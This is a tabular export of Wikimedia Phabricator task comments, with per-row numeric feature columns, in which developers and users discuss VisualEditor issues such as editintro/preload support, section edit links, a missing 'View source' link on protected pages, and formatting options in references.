",,,1483203829,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,182,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.7916666666666665,0.875,"Change 329796 had a related patch set uploaded (by Esanders):
Add editintro to notices

[[GERRIT_URL]]
"
774711,Add support for (the equivalent of?) editintro and preload,"VisualEditor having preload support for page creation would be nice. Preload is used in article wizards (e.g. [[ https://en.wikipedia.org/wiki/Wikipedia:Article_wizard/Ready_for_submission | en-wp ]], [[ https://ru.wikipedia.org/wiki/Шаблон:Article_wizard/create | ru-wp ]]).",,,1481256401,,PHID-USER-aklqcs2xae5ghg6icqmd,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,179,,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,3.05,0.725,"VisualEditor having preload support for page creation would be nice. Preload is used in article wizards (e.g. [[ URL | en-wp ]], [[ URL | ru-wp ]])."
773271,Add support for (the equivalent of?) editintro and preload,"It looks like there are similar problems on Mobile view, which may be of interest to anyone who is relying on preload:  {T126190}",,,1481076359,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,179,,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,18.0,7.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,3.8214285714285716,0.9642857142857143,"It looks like there are similar problems on Mobile view, which may be of interest to anyone who is relying on preload:  {T126190}"
684079,Add support for (the equivalent of?) editintro and preload,ProofreadPage needs support of the  EditFormPreloadText hook instead of editinfo/preload parameters. Tracked by task T138588,,,1466772802,,PHID-USER-5paybpgtxjrhikdos3p5,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,155,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.7894736842105265,0.9473684210526315,ProofreadPage needs support of the  EditFormPreloadText hook instead of editinfo/preload parameters. Tracked by task T138588
683673,Add support for (the equivalent of?) editintro and preload,"Thomas's suggestion is that if the article is a 404 (non-extant), we sling the contents of `preload` parameter's indicated article's Parsoid blob as the initial version of the article, and if that's not balanced wikitext (and so not the desired HTML) ""oh well"", at least it's better than nothing. Thoughts?",,,1466694115,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,True,,,155,,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,7.0,4.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,3.0,12.0,7.0,1.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,3.7058823529411766,0.6911764705882353,"Thomas's suggestion is that if the article is a 404 (non-extant), we sling the contents of CODE parameter's indicated article's Parsoid blob as the initial version of the article, and if that's not balanced wikitext (and so not the desired HTML) ""oh well"", at least it's better than nothing. Thoughts?"
683670,Add support for (the equivalent of?) editintro and preload,A note from @tpt that this is pretty important for successful #proofreadpage integration.,,,1466693905,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,True,,,155,,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,A note fromSCREEN_NAME that this is pretty important for successful #proofreadpage integration.
479089,Add support for (the equivalent of?) editintro and preload,"These tasks *really* shouldn't have been merged, despite being about 'the same' area of code (one is about important functionality half done through on-wiki hacky JavaScript, the other is about modifying a fundamental user pattern in core to work with VisualEditor); un-merging.",,,1434985826,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,True,,,103,,0.0,0.0,0.0,2.0,2.0,9.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,5.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,18.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.157894736842105,0.8596491228070176,"These tasks *really* shouldn't have been merged, despite being about 'the same' area of code (one is about important functionality half done through on-wiki hacky JavaScript, the other is about modifying a fundamental user pattern in core to work with VisualEditor); un-merging."
479087,Add support for (the equivalent of?) editintro and preload,"These tasks *really* shouldn't have been merged, despite being about 'the same' extension (one is about important functionality half done through on-wiki hacky JavaScript, the other is about modifying an extension to work with VisualEditor); un0merging.",,,1434985691,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,True,,,103,,0.0,0.0,0.0,2.0,2.0,8.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,6.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,16.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.448979591836735,0.8367346938775511,"These tasks *really* shouldn't have been merged, despite being about 'the same' extension (one is about important functionality half done through on-wiki hacky JavaScript, the other is about modifying an extension to work with VisualEditor); un0merging."
478923,Add support for (the equivalent of?) editintro and preload,"We've encountered this issue too on a private MediaWiki. 
Would be really great to have this supported - this would make the VE more versatile in some use cases!

Thanks!",,,1434967229,,PHID-USER-wtbw6n3qdyre3vir7o3z,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,103,,3.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,14.0,0.0,0.0,17.0,0.0,0.0,6.0,0.0,8.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.9444444444444446,0.9166666666666666,"We've encountered this issue too on a private MediaWiki. 
Would be really great to have this supported - this would make the VE more versatile in some use cases!

Thanks!"
478609,Add support for (the equivalent of?) editintro and preload,"nominating this as Q1 blocker, since this is closely tied to the current BLP practices on english wikipedia, a very visible and sensitive part of our policies.",,,1434831191,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,True,,,102,,0.0,0.0,3.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.433333333333334,0.9333333333333333,"nominating this as Q1 blocker, since this is closely tied to the current BLP practices on english wikipedia, a very visible and sensitive part of our policies."
478589,Add support for (the equivalent of?) editintro and preload,"I've merged the above, and copied the details into the description above.",,,1434824570,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,102,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.133333333333334,0.8,"I've merged the above, and copied the details into the description above."
411903,Add support for (the equivalent of?) editintro and preload,"Editintro and preload are parameters supported by the core, but it is ""hidden feature"", which is exposed natively by InputBox extension (on non native - using external link)",,,1424027843,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,84,,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.294117647058823,0.8823529411764706,"Editintro and preload are parameters supported by the core, but it is ""hidden feature"", which is exposed natively by InputBox extension (on non native - using external link)"
411836,Add support for (the equivalent of?) editintro and preload,Editintro/preloud are parts of inputbox extension? Or how it is related?,,,1424000855,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,84,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,13.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.133333333333334,0.9333333333333333,Editintro/preloud are parts of inputbox extension? Or how it is related?
402213,Add support for (the equivalent of?) editintro and preload,Indeed.,,,1421917704,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,81,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Indeed.
393115,Add support for (the equivalent of?) editintro and preload,"I think editintro/preload would be very useful not just for new users, but for many kinds of repetitive administration tasks/queries for which preloads are now used. Having TemplateData integrated (I guess), users could be presented the fields they have to fill in the visual way, avoiding errors and fully controlling the input.",,,1419623366,,PHID-USER-rbfsfm2cvpr37oz3wxju,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,77,,2.0,0.0,3.0,3.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,8.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,4.412698412698413,0.8253968253968254,"I think editintro/preload would be very useful not just for new users, but for many kinds of repetitive administration tasks/queries for which preloads are now used. Having TemplateData integrated (I guess), users could be presented the fields they have to fill in the visual way, avoiding errors and fully controlling the input."
51620,VisualEditor: Section edit links opens the source editor after saving the section using the visual editor,"To reproduce:

1. Open a page with several sections.
2. Scroll to the second section and press the ""edit"" link near the heading. The Visual Editor opens. Make a change in the text and save the edit.
3. Press the same ""edit"" link again.

Observed: The source editor opens.

Expected: The visual editor opens.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1371313740,1372109956.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-6welutlbuxohheakxhlf,task_description,resolved,True,c1,2,False,False,True,-3,,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,15.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,3.5106382978723403,0.5319148936170213,"To reproduce:

1. Open a page with several sections.
2. Scroll to the second section and press the ""edit"" link near the heading. The Visual Editor opens. Make a change in the text and save the edit.
3. Press the same ""edit"" link again.

Observed: The source editor opens.

Expected: The visual editor opens.

--------------------------
**Version**: unspecified
**Severity**: minor"
240282,VisualEditor: Section edit links opens the source editor after saving the section using the visual editor,*** Bug 50181 has been marked as a duplicate of this bug. ***,,,1373162765,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6welutlbuxohheakxhlf,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50181 has been marked as a duplicate of this bug. ***
240274,VisualEditor: Section edit links opens the source editor after saving the section using the visual editor,Merged. Will go out on Thursday or beforehand if we push.,,,1372109956,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6welutlbuxohheakxhlf,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,23.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,0.9230769230769231,Merged. Will go out on Thursday or beforehand if we push.
240270,VisualEditor: Section edit links opens the source editor after saving the section using the visual editor,Related URL: https://gerrit.wikimedia.org/r/70324 (Gerrit Change Idf938c0dc8535c30ce63a05d56abeee210a67380),,,1372109122,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6welutlbuxohheakxhlf,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Idf938c0dc8535c30ce63a05d56abeee210a67380)
51618,"""View source"" is missing on protected LQT pages","As indicated on
[[mw:Thread:VisualEditor/Feedback/source code?]]
the page
https://www.mediawiki.org/wiki/VisualEditor/Feedback
which was protected recently has no ""View source"" link to see the content of the header. There should be one, pointing to
https://www.mediawiki.org/wiki/VisualEditor/Feedback?action=edit

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1371298920,1376116339.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-ccjs4p2cgeia2i67aibl,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,7.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,7.0,4.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,3.5211267605633805,0.647887323943662,"As indicated on
[[mw:Thread:VisualEditor/Feedback/source code?]]
the page
URL
which was protected recently has no ""View source"" link to see the content of the header. There should be one, pointing to
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
240225,"""View source"" is missing on protected LQT pages","Change 68860 merged by jenkins-bot:
Show an edit link for discussion page headers even if the user can't edit it

https://gerrit.wikimedia.org/r/68860",,,1376116309,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ccjs4p2cgeia2i67aibl,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,11.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.925925925925926,0.9629629629629629,"Change 68860 merged by jenkins-bot:
Show an edit link for discussion page headers even if the user can't edit it

GERRIT_URL"
240220,"""View source"" is missing on protected LQT pages",Related URL: https://gerrit.wikimedia.org/r/68860 (Gerrit Change I99c17acea0be7b0ef650959e5e280ca5e9154b2a),,,1371306935,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ccjs4p2cgeia2i67aibl,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I99c17acea0be7b0ef650959e5e280ca5e9154b2a)
51617,"VisualEditor: Visually discourage use of ""legal"" but unwanted structures in sub-editors (e.g. lists in references)","In VE, click the ""Reference"" toolbar icon. According to the toolbar icons in the ""Content"" section, it is possible to insert lists, headings and images within the text of a reference.

This is a nonsensical capability. The only required formatting here is bold, italic and wikilink, if that.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52646",Medium,50.0,1371297660,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-fbmrhc7yiidum6n27xww,task_description,open,True,c1,2,False,False,,-3,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,13.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,8.0,4.0,0.0,4.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.7666666666666666,0.6,"In VE, click the ""Reference"" toolbar icon. According to the toolbar icons in the ""Content"" section, it is possible to insert lists, headings and images within the text of a reference.

This is a nonsensical capability. The only required formatting here is bold, italic and wikilink, if that.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
240190,"VisualEditor: Visually discourage use of ""legal"" but unwanted structures in sub-editors (e.g. lists in references)","(In reply to comment #3)
> (In reply to comment #2)
> > Maybe we can discourage users from doing these things in some way, but we
> > can't
> > just not support this, as users have to be able to edit these back into a
> > more
> > rational use.
> 
> On enwiki there is never any good reason to have headings or images in
> references. In the 0.000001% of cases where it is actually wanted, it can
> just be done using the wikitext source editor, I think.

The objective of VE is for even power users to never need to enter the wikitext editor. Fixing broken usage would be an example of a use case that we'd want to support.

> However, I can understand that other wikis might want this functionality in
> VE for some reason, so I suppose enwiki could hide the relevant functionality
> via CSS or something like that if you think it would be better.

